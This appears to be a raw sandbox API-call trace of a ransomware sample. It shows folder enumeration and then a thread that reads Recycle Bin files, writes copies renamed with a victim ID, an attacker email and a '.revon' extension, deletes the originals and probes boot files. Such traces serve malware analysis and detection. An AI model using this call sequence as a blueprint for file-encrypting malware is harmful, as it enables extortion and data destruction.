ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0095.835] GetProcessHeap () returned 0x470000 [0095.835] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0095.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0100.435] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.435] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0100.435] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0100.435] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.436] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.436] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.436] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0100.436] GetProcessHeap () returned 0x470000 [0100.436] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0100.436] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0100.436] GetProcessHeap () returned 0x470000 [0100.436] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0100.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0101.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0101.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0101.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0101.170] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0101.170] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0101.170] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0101.170] GetProcessHeap () returned 0x470000 [0101.170] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0101.170] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0101.170] GetProcessHeap () returned 0x470000 [0101.170] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0101.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0101.499] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.499] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0101.500] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0101.500] GetProcessHeap () returned 0x470000 [0101.500] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0101.500] GetProcessHeap () returned 0x470000 [0101.500] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0101.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0101.777] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0101.777] GetProcessHeap () returned 0x470000 [0101.777] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0101.777] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0101.778] GetProcessHeap () returned 0x470000 [0101.778] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0101.778] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2d2e900) Thread: id = 20 os_tid = 0x54c [0073.782] GetProcessHeap () returned 0x470000 [0073.782] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x538bb8 [0073.783] GetProcessHeap () returned 0x470000 [0073.783] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x548bc0 [0073.783] GetProcessHeap () returned 0x470000 [0073.783] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x4930f0 [0073.783] GetProcessHeap () returned 0x470000 [0073.783] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x110102) returned 0x2d30020 [0073.784] GetProcessHeap () returned 0x470000 [0073.784] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x493348 [0073.784] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.784] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.784] Wow64DisableWow64FsRedirection (in: OldValue=0x265fdfc | out: OldValue=0x265fdfc*=0x0) returned 1 [0073.784] GetProcessHeap () returned 0x470000 [0073.784] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493348 | out: hHeap=0x470000) returned 1 [0073.784] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0073.785] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=129) returned 1 [0073.785] CloseHandle (hObject=0x128) returned 1 [0073.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0073.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0073.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0073.785] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0073.785] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0073.785] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0073.785] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x190 [0073.786] ReadFile (in: hFile=0x128, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x81, lpOverlapped=0x0) returned 1 [0073.809] WriteFile (in: hFile=0x190, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x90, lpOverlapped=0x0) returned 1 [0073.810] WriteFile (in: hFile=0x190, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xf2, lpOverlapped=0x0) returned 1 [0073.810] CloseHandle (hObject=0x128) returned 1 [0073.811] CloseHandle (hObject=0x190) returned 1 [0073.812] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0073.814] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.814] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.814] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.235] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=0) returned 1 [0076.235] CloseHandle (hObject=0x1a0) returned 1 [0076.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.235] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 